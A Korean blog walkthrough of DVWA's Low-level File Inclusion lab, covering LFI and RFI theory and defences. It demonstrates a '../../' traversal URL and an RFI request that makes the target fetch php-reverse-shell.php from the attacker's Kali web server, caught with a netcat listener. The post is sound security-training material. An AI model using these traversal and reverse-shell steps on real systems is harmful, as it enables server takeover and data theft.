상세 컨텐츠

본문 제목

DVWA : File Inclusion - Low level

Vulnerability Assessment/Web Application

by DarkSoul.Story 2025. 1. 2. 23:26

본문

반응형
이 문서에 포함된 어떠한 내용도 불법적이거나 비윤리적인 목적으로 보안 도구나 방법론을 사용하도록 가르치거나 장려하지 않습니다. 항상 책임감 있는 태도로 행동하세요. 여기에 설명된 도구나 기법을 사용하기 전에 개인 테스트 환경 또는 허가를 받았는지 확인하세요.

 

[ 환경 ]

DVWA v1.9
Burp Suite Community Edition v2024.11.2

 

1. Overview

File Inclusion 취약점은 웹 애플리케이션에서 사용자 입력값을 이용해 서버 파일을 동적으로 로드하는 경우, 공격자가 악의적인 파일이나 민감한 서버 파일을 포함시킬 수 있는 보안 취약점이다. 이 취약점은 Local File Inclusion (LFI)와 Remote File Inclusion (RFI)로 나뉘며, 서버 파일 시스템에 대한 접근, 악성 코드 실행, 민감한 정보 탈취 등의 공격에 악용될 수 있다.

 

ㅁ Local File Inclusion (LFI)

  • 애플리케이션이 서버 내에 존재하는 파일을 포함하거나 읽을 수 있게 만드는 취약점
  • 공격자는 중요한 시스템 파일(예: /etc/passwd)이나 민감한 정보가 포함된 애플리케이션 파일을 읽을 수 있다.

 

ㅁ Remote File Inclusion (RFI)

  • 애플리케이션이 원격 서버의 파일을 포함하게 만드는 취약점
  • 공격자는 악성 스크립트(예: 웹 셸)를 원격 서버에서 가져와 실행할 수 있다.
  • PHP의 allow_url_include가 활성화된 경우에 발생할 가능성이 높다.

ㅁ File Inclusion 취약점 발생 원인

사용자 입력값 검증 부족

  • 파일 경로에 대한 사용자 입력값을 검증하지 않음으로써 공격자가 경로를 조작하여 임의의 파일을 포함할 수 있게 된다.

동적 파일 호출 로직

  • 애플리케이션이 include(), require()와 같은 PHP 함수나 유사한 메커니즘을 통해 동적으로 파일을 호출하는 경우 취약점이 발생할 가능성이 높다.

디렉토리 경로 보호 미흡

  • 상대 경로(../../etc/passwd)를 사용하는 경우 디렉토리 트래버설 공격이 가능하여 민감한 파일이 노출될 수 있다.

환경 설정 오류

  • PHP의 allow_url_include와 같은 설정이 활성화되어 있으면 원격 파일 포함(Remote File Inclusion)이 가능해진다.

취약한 파일 권한

  • 서버 파일 시스템에서 중요한 파일에 대한 읽기 권한이 과도하게 부여된 경우, 공격자가 이를 악용할 수 있다.

ㅁ 공격 시나리오

  • LFI를 통해 시스템 내부의 민감한 정보(예: 구성 파일, 로그 파일 등)를 노출
  • LFI와 파일 업로드 취약점을 조합해 악성 스크립트를 실행
  • RFI를 통해 공격자의 서버에서 악성 코드를 실행하여 원격 제어 가능
  • 디렉토리 트래버설 공격으로 민감한 데이터 파일을 읽거나 노출

ㅁ File Inclusion 대응 방안

사용자 입력값 검증 및 제한

  • 파일 경로에 대한 사용자 입력값을 엄격히 검증하고, 화이트리스트 방식을 적용해 허용된 파일만 로드하도록 제한한다.
  • 예: 확장자 필터링(.jsp, .php, .html 등) 및 정규식을 활용한 경로 검증

상대 경로 차단 및 고정 경로 사용

  • 파일 경로를 동적으로 구성하지 않고, 고정된 파일 경로만 사용하도록 설계한다.

파일 읽기 제한

  • 서버에서 불필요한 파일에 대한 읽기 권한을 제거하고, 민감한 파일은 안전한 디렉토리로 격리한다.

PHP 설정 변경

  • allow_url_include와 allow_url_fopen 설정을 Off로 설정하여 원격 파일 포함을 차단한다.
  • PHP 오류 메시지 출력을 비활성화(display_errors=Off)하여 공격자에게 내부 정보가 노출되지 않도록 한다.

경로 탐색 차단

  • ../와 같은 디렉토리 트래버설 경로를 필터링하여 탐색 경로를 제한한다.
  • URL 인코딩된 문자(%2e%2e%2f)에 대한 필터링도 포함한다.

웹 애플리케이션 방화벽(WAF) 사용

  • WAF를 통해 File Inclusion 공격 시도의 패턴을 탐지하고 차단한다.

코드 리뷰 및 보안 테스트

  • 정기적인 코드 리뷰를 통해 파일 포함 로직을 점검하고, 모의 해킹을 통해 취약점을 사전에 발견한다.

File Inclusion 취약점은 서버 내부 파일의 노출뿐만 아니라 원격 코드 실행까지 가능한 치명적인 보안 문제이다. 이를 방지하기 위해 사용자 입력값 검증, 파일 경로 보호, 환경 설정 강화 등 다층적인 보안 조치를 적용해야 한다. 더불어, 정기적인 보안 테스트와 모니터링으로 애플리케이션의 취약점을 사전에 차단하는 것이 중요하다.

 

2.  Source code analysis

[그림 1] Low level Source code

  • $_GET'page' ]는 사용자가 URL 쿼리 문자열로 전달한 page 파라미터 값을 가져온다. 
  • 예를 들어, http://example.com/index.php?page=about 요청에서 $_GET['page']는 about 값을 반환한다.
  • 전달받은 입력값을 $file 변수에 저장하며, 이 변수는 이후 코드에서 처리되어 특정 페이지를 동적으로 로드하거나 포함하는 데 사용된다.

 

3. Practical exercises

실습에 앞서 [그림 2]와 같은 에러 메시지가 출력된다면,  File Inclusion 취약점을 실습할 수 없다.

[그림 2] allow_url_include 에러

 

해결방법은 php.ini 파일에서  allow_url_fopen과 allow_url_include 옵션은 Off에서 On으로 설정해주고, Apache를 재 시작해주면 된다. 만약 옵션을 변경해주었는데도 적용이 안된다면, 시스템을 재부팅하면 정상적으로 동작한다.

[그림 3] 옵션 변경

 

이제 본격적으로실습에 들어가보자. File Inclusion를 시작하면 file1.php, file2.php, file3.php로 연결되는 세 개의 링크가 있는 기본 양식을 볼 수 있다.

[그림 4] File Inclusion 기본 화면

 

화면에 보이는 파일들을 클릭해보면 각각의 다른 정보들을 출력하는 것을 확인할 수 있다.

[그림 5] 각각의 파일들이 출력하는 내용

 

여기서 주의깊게 살펴볼 부분은 바로 URL 부분이다. 링크를 클릭하면 그에 따라 페이지가 변경되며, 변경되는 것은 page Parameter 뿐이다.

[그림 6] URL 부분 확인

 

File Inclusion의 목표는 ../hackable/flags/fi.php 의 5개의 명언을 모두 읽는 것이다. 앞서 소스코드에서 보았듯이 아무런 필터링이 없는것을 확인하였으며,  page Parameter에 ../hackable/flags/fi.php를 삽입하였더니 [그림 7]과 같이 에러가 발생하였다. 에러 내용을 자세히 살펴보니, DVWA의 루트 디렉터리는 /app/로 설정되어 있는것을 확인할 수 있다. 따라서 문제의 페이지는 /app/ vulnerabilities/fi 안에 존재한다. 하지만 app에서는 플래그가 /hackable/flags/fi.php에 존재한다고 하였다. 기본적으로 DVWA는 루트에서 두 단계 아래에 현재 문제를 배치하였다. 그러나 방금 시도한 exploit은 한 디렉토리만 탐색하였다. 실제로 /hackable/  디렉토리를 찾으려면 한 단계가 아니라 두 단계 위로 올라가야한다.

[그림 7] ../hackable/flags/fi.php 입력 시 에러

 

URL을 다음과 같이 수정하여 전송하면, [그림 8]과 같이 ../hackable/flags/fi.php의 내용을 확인할 수 있다.

http://192.168.107.144/vulnerabilities/fi/?page=../../hackable/flags/fi.php

[그림 8] ../hackable/flags/fi.php 내용

 

하지만 자세히 살펴보면 1번, 2번, 4번의 내용은 명확하게 볼수 있으나, 3번과 5번의 내용은 보이지 않는다. 지금까지 LFI ( Local File Inclusion )를 이용하여 중요 파일을 확인하였다면, RFI ( Remote File Inclusion)를 이용해서 fi.php를 직접 확인해봐야 나머지 문구를 찾을수 있지 않을까 생각된다.  

 

먼저 RFI 취약점이 동작하는지 확인해보자. page Parameter에  Goolge URL을 입력하여 전송하였더니, Google 페이지가 출력되는것을 확인할 수 있다. 이말은 RFI 취약점이 존재한다는 의미이다.

http://192.168.107.144/vulnerabilities/fi/?page=http://www.google.com

[그림 9] RFI 취약점을 이용하여 Google 검색 페이지 출력

 

그럼 이번에는 Reverse Shell을 이용해서,  DVWA 서버에 접근한 다음 직접 /hackable/flags/fi.php 파일을 확인해보자. Reverse Shell을 이용하기 위해 Kali에서 간단하게 Python으로 웹 서버를 만드는 것부터 시작한다. (웹 서버를 구성해도 상관없음)

python -m http.server 8888 // Python 3.x인 경우 
python -m SimpleHTTPServer 8888 // Python 2.x인 경우

//8888은 Port 번호로 임의지정

[그림 10] 웹 서버 실행

 

다음으로 Shell을 만들어야 하는데, 기본적으로 Kali에는 여러 개의 Shell을 가지고 있다. 여기서는 /usr/share/webshells/php에 있는 php-reverse-shell.php을 이용할 예정이다.

[그림 11] /usr/share/webshells/php 디렉터리 내용

 

php-reverse-shell.php를 python 웹 서버를 실행 시킨 위치에 복사한 후 [그림 12]에서 처럼 $ip와 $port를 수정한다. 여기서 $ip는 kali의 IP이며, $port는 나중에 Reverse Shell이 접근할 포트를 임의로 설정한다.

[그림 12] php-reverse-shell.php 내용 수정

 

마지막으로 셸에서 연결을 수락할 리스너가 필요한데, 여기서는 Netcat(nc)을 사용한다. 

[그림 13] netcat 실행

구분 설명
nc Netcat, 네트워크 도구로 다양한 TCP/UDP 연결을 관리
-l  Listening 모드, 연결을 기다림
v Verbose 모드, 상세 정보를 출력
n DNS를 사용하지 않고 숫자로만 IP 주소와 포트를 처리
p 8080 포트 8080을 사용하여 수신 대기

 

이제 모든것을 통합할 차례이다. 여기서 사용하는 RFI exploit은 아래와 같이 Kali에서 실행한 웹 서버에 수정한 php-reverse-shell.php가 된다.

http://192.168.107.144/vulnerabilities/fi/?page=http://192.168.107.135:8888/php-reverse-shell.php

 

expoit이 실행되면, [그림 14]와  같이 Kali에서 실행한 웹 서버로 연결이 된다.

[그림 14] php-reverse-shell.php에 접근

 

이후 php-reverse-shell.php가 실행되며,  Netcat에서 수신 대기하고 있던 8080 Port로 연결되어 DVWA 서버의 Shell을 획득하였다.

[그림 15] DVWA 서버 Shell 획득

 

Shell을 획득하면 서버를 장악한거기 때문에, 앞서 언급한 /hackable/flags/fi.php 파일을 직접 확인할 수 있다.

[그림 16] /hackable/flags/의 파일 목록

 

실제로 fi.php 원본 소스코드를 확인하면, 5개의 명언들을 모두 확인할 수 있다.

[그림 17] fi.php 원본 소스코드 내용

 

재미있는건 링크에 존재하지 않은 file4.php가 존재한다는 것이다. 주어진 내용만 확인하지 말고 숨겨진 파일도 예측해서 찾아보라는 의미인건지?

[그림 11] 숨겨져 있던 file4.php

 

반응형

'Vulnerability Assessment > Web Application' 카테고리의 다른 글

DVWA : File Inclusion - High level  (0) 2025.01.03
DVWA : File Inclusion - Medium level  (1) 2025.01.03
DVWA : CSRF - Impossible level  (0) 2025.01.01
DVWA : CSRF - High level  (0) 2025.01.01
DVWA : CSRF - Medium level  (0) 2025.01.01

관련글 더보기